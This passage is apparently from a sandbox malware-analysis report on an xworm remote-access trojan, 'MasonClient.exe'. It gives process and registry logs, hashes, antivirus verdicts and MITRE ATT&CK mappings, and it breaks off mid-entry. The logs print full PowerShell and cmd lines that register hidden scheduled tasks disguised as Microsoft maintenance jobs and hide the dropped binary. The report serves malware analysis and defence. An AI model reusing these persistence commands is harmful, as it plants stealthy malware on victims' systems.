"HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "1987DF5EEACADC010000000000000000000000000200000000") "CertEnrollMonitor.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "FE814064EACADC010000000000000000000000000200000000") "CertEnrollMonitor.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "D1346DECEACADC010000000000000000000000000200000000") "CertEnrollMonitor.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "09AD083BEECADC010000000000000000000000000200000000")84:Ta14,"nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\LicenseAgentWorker' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00007368) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00006456) Spawned process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\LicenseAgentWorker' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00007296) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && attrib +h +s "%APPDATA%\\CertEnrollMonitor.exe"" (UID: 00000000-00001932) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00005860) Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\CertEnrollMonitor.exe"" (UID: 00000000-00006972) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\WinSvcHost' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00005252) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00001184) Spawned process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\WinSvcHost' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00005376) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00005976) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && attrib +h +s "%APPDATA%\\CertEnrollMonitor.exe"" (UID: 00000000-00006936) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00004540) Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\CertEnrollMonitor.exe"" (UID: 00000000-00004552) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -AtLogOn;$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Servicing\\StartComponentCleanup' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00007940) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00007660) Spawned process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -AtLogOn;$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Servicing\\StartComponentCleanup' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00007916) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00004168) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && attrib +h +s "%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe"" (UID: 00000000-00005100) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00007440) Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe"" (UID: 00000000-00004380) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00007004) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00005088) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00007164) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00003800) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00007612) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00004528) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00007772) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00002920) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00004696) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00007424) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && clear" (UID: 00000000-00004276) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00005412)1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1792274935556,"unified_at":"2026-10-17T22:08:55.556Z","metadata":{"hashes":{"sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","sha1":"e1e9a6114fdc3cec934ac1df17dfe676cf4839ff","md5":"a82825a7fed78117622a9282571db365","sha512":"e0bc7bd71e5f72a71f375249484131628061a5ded815f18f71d372f2bad1bd4985fa55aa8bafda4887094382c14c252d6849a6ee484c6682cf604da3b2f05fef","ssdeep":"6144:I6XwtxAjXDN0BQz1wSXgoIOrcCnfUn9XNk:NcxAjXiwwYgoFwCnZ","ssdeep_chunks":["6144:I6XwtxA","6144:6XwtxAj","6144:XwtxAjX","6144:wtxAjXD","6144:txAjXDN","6144:xAjXDN0","6144:AjXDN0B","6144:jXDN0BQ","6144:XDN0BQz","6144:DN0BQz1","6144:N0BQz1w","6144:0BQz1wS","6144:BQz1wSX","6144:Qz1wSXg","6144:z1wSXgo","6144:1wSXgoI","6144:wSXgoIO","6144:SXgoIOr","6144:XgoIOrc","6144:goIOrcC","6144:oIOrcCn","6144:IOrcCnf","6144:OrcCnfU","6144:rcCnfUn","6144:cCnfUn9","6144:CnfUn9X","6144:nfUn9XN","6144:fUn9XNk","12288:I6XwtxA","12288:6XwtxAj","12288:XwtxAjX","12288:wtxAjXD","12288:txAjXDN","12288:xAjXDN0","12288:AjXDN0B","12288:jXDN0BQ","12288:XDN0BQz","12288:DN0BQz1","12288:N0BQz1w","12288:0BQz1wS","12288:BQz1wSX","12288:Qz1wSXg","12288:z1wSXgo","12288:1wSXgoI","12288:wSXgoIO","12288:SXgoIOr","12288:XgoIOrc","12288:goIOrcC","12288:oIOrcCn","12288:IOrcCnf","12288:OrcCnfU","12288:rcCnfUn","12288:cCnfUn9","12288:CnfUn9X","12288:nfUn9XN","12288:fUn9XNk","6144:NcxAjXi","6144:cxAjXiw","6144:xAjXiww","6144:AjXiwwY","6144:jXiwwYg","6144:XiwwYgo","6144:iwwYgoF","6144:wwYgoFw","6144:wYgoFwC","6144:YgoFwCn","6144:goFwCnZ"],"imphash":"c8a12676a80634473c83e0bfeb54ef67"},"file_info":{"file_name":"MasonClient.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":269824,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1776020365000,"last_seen":1776020371000,"last_multi_scan":1776020371000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["commodity","xworm","rat","evasive"]},"stats":{"av":{"malicious_count":5,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":98},"sandbox_signatures":{"informative_count":247,"suspicious_count":10,"malicious_count":6,"total":263},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-6","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Barys.431553","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Barys.431553 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HEUR:TrojanSpy/Stealer.cn","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Barys.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"suspicious","value":"Contains ability to execute program"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled task-related activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"suspicious","value":"Contains ability to update the user profile"},{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Creates/modifies Windows services using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"YARA signature match - PowerShell with Base64 encoding"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Able to delete items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify System Firewall","attack_id":"T1562.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/004","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Able to delete scheduled task(s)"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to terminate services/features (Powershell command string)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan 